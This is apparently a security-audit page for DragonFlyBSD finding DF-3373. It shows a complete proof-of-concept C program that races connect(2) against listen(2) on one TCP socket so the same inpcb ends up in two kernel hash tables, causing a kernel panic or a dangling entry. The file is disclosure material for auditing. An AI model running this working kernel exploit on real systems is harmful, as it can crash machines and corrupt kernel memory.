⬢ DragonFlyBSD Kernel Audit
DF-3373 / listen_connect_race.c
← back to finding ↓ download raw
/*
 * DF-3373 PoC: connect(2)/listen(2) TOCTOU on the same TCP socket.
 *
 * The socket-layer guards are check-then-act without any token:
 *   soconnect()  reads so_options/SO_ACCEPTCONN and
 *                SS_ISCONNECTED|SS_ISCONNECTING  (uipc_socket.c:690,698)
 *   solisten()   reads SS_ISCONNECTED|SS_ISCONNECTING (uipc_socket.c:332)
 * and with the default async connect path the SS_ISCONNECTING flag is
 * only set inside tcp_usr_preconnect (tcp_usrreq.c:970), i.e. AFTER
 * soconnect's checks and after a kmalloc -- a real window on the
 * connector's thread.
 *
 * Neither tcp_usr_listen (guards: TF_LISTEN, inp_lport==0) nor
 * tcp_usr_connect/tcp_connect checks the opposite state, so if both
 * syscalls pass their window checks the two pru messages are both
 * processed and the SAME inpcb ends up inserted into both the wildcard
 * hash (in_pcbinswildcardhash, in_pcb.c:2283, INP_WILDCARD) and the
 * connection hash (in_pcbinsconnhash, in_pcb.c:1885, INP_CONNECTED):
 *   [listen-msg first] -> tcp_connect_oncpu hits in_pcbinsconnhash's
 *        ASSERT_INP_NOTINHASH ("already on wildcardhash") / dual hash
 *   [connect-msg first] -> tcp_usr_listen's in_pcbunlink KASSERTs
 *        ("already linked") / ASSERT_INP_NOTINHASH / dual hash
 *
 * INVARIANTS kernels panic; production kernels get an inpcb that is
 * member of both hashes and whose teardown (in_pcb_rmhash,
 * in_pcb.c:2381 removes only ONE membership) leaves a dangling entry.
 *
 * Strategy: thread A loops { socket(); publish fd; connect(10.0.2.2:1); }
 * thread B spins listen(fd, 1).  Fresh socket each iteration.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

static volatile int cur_fd = -1;
static volatile unsigned long iters = 0;
static volatile unsigned long listen_ok = 0, conn_inprog = 0, conn_opnotsupp = 0;
static volatile int running = 1;

#define DEST_IP	"10.0.2.2"
#define DEST_PORT 1

static void *
connector(void *arg)
{
	struct sockaddr_in dst;
	unsigned long n = 0;

	memset(&dst, 0, sizeof(dst));
	dst.sin_len = sizeof(dst);
	dst.sin_family = AF_INET;
	dst.sin_port = htons(DEST_PORT);
	inet_pton(AF_INET, DEST_IP, &dst.sin_addr);

	while (running) {
		int s = socket(AF_INET, SOCK_STREAM | SOCK_NONBLOCK, 0);
		int r;

		if (s < 0) {
			perror("socket");
			sleep(1);
			continue;
		}
		cur_fd = s;			/* publish for the listener */
		r = connect(s, (struct sockaddr *)&dst, sizeof(dst));
		if (r == 0)
			conn_inprog++;
		else if (errno == EINPROGRESS)
			conn_inprog++;
		else if (errno == EOPNOTSUPP)
			conn_opnotsupp++;	/* listener won this round */
		n++;
		iters = n;
		/* let a racing listen() land on this fd, then recycle */
		usleep(30);
		close(s);
	}
	return (NULL);
}

static void *
listener(void *arg)
{
	while (running) {
		int s = cur_fd;

		if (s >= 0) {
			if (listen(s, 1) == 0)
				listen_ok++;
		}
	}
	return (NULL);
}

int
main(int argc, char **argv)
{
	pthread_t ct, lt;
	int secs = (argc > 1) ? atoi(argv[1]) : 60;

	setvbuf(stdout, NULL, _IOLBF, 0);
	pthread_create(&ct, NULL, connector, NULL);
	pthread_create(&lt, NULL, listener, NULL);

	sleep(secs);
	running = 0;
	pthread_join(ct, NULL);
	pthread_join(lt, NULL);

	printf("iters=%lu connect(EINPROGRESS/ok)=%lu connect(EOPNOTSUPP)=%lu "
	       "listen(ok)=%lu\n", iters, conn_inprog, conn_opnotsupp, listen_ok);
	printf("SURVIVED - no panic\n");
	return (0);
}